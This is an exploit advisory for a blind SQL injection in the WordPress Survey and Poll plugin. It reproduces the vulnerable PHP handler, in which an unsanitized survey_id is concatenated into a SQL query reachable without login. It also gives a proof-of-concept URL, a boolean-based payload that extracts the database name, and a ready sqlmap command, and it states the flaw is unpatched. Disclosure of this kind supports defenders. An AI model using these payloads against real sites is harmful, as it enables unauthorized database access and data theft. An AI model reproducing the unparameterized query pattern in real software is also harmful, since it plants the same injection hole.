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# Exploit Title : Wordpress Survey and poll Blind SQL Injection
# Data : 2015 ? 02 - 11
# Exploit Author : Securely (Yoo Hee man)
# Plugin : WordPress Survey and Poll
# Vender Homepage : http://modalsurvey.sympies.com
# Tested On : Windows XP / sqlmap_v1.0
# Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip
https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on)
1. Detail
- This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php
- Settings.php file is no login cookie check
- "survey_id" variable is not sanitized
#################################################################
public function ajax_survey()
{
global $wpdb;
$survey_id = "";
$survey_name = "";
$survey_start_time = "";
$survey_expiry_time = "";
$survey_global = "";
if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']);
else $survey_id = "";
if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']);
else $survey_name = "";
if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time']));
else $survey_start_time = "";
if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time']));
else $survey_expiry_time = "";
if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']);
else $survey_global = "";
if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']);
else $survey_options = "";
if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']);
else $survey_qa = "";
$survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id);
if ($_REQUEST['sspcmd']=="save")
{
if ($survey_check>0) {
//update survey
$wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id));
$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id));
$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id));
$qa_object = (array)json_decode(stripslashes($survey_qa));
$qa_array = (array)$qa_object;
foreach($qa_array as $keyq=>$qr)
{
foreach($qr as $key=>$oa)
{
if ($key==0)
{
$wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
'id' => ($keyq+1),
'survey_id' => $survey_id,
'question' => $oa
) );
$qid = $wpdb->insert_id;
}
else
{
$oans = explode("->",$oa);
$wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
'survey_id' => $survey_id,
'question_id' => ($keyq+1),
'answer' => $oans[0],
'count' => $oans[1],
'autoid' => $key
) );
}
}
}
die("updated");
}
else {
//insert survey
$wpdb->insert( $wpdb->prefix."wp_sap_surveys", array(
'id' => $survey_id,
'name' => $survey_name,
'options' => $survey_options,
'start_time' => $survey_start_time,
'expiry_time'=> $survey_expiry_time,
'global'=> $survey_global
) );
$qa_object = (array)json_decode(stripslashes($survey_qa));
$qa_array = (array)$qa_object;
foreach($qa_array as $keyq=>$qr)
{
foreach($qr as $key=>$oa)
{
if ($key==0)
{
$wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
'id' => ($keyq+1),
'survey_id' => $survey_id,
'question' => $oa
) );
$qid = $wpdb->insert_id;
}
else
{
$oans = explode("->",$oa);
$wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
'survey_id' => $survey_id,
'question_id' => ($keyq+1),
'answer' => $oans[0],
'autoid' => $key
) );
}
}
}
die('success');
}
################################################################
2. POC
- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]
3. Sqlmap
- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql
3. Solution:
Not patched
4. Discovered By : Securely(Yoo Hee man)
god2zuzu@naver.com
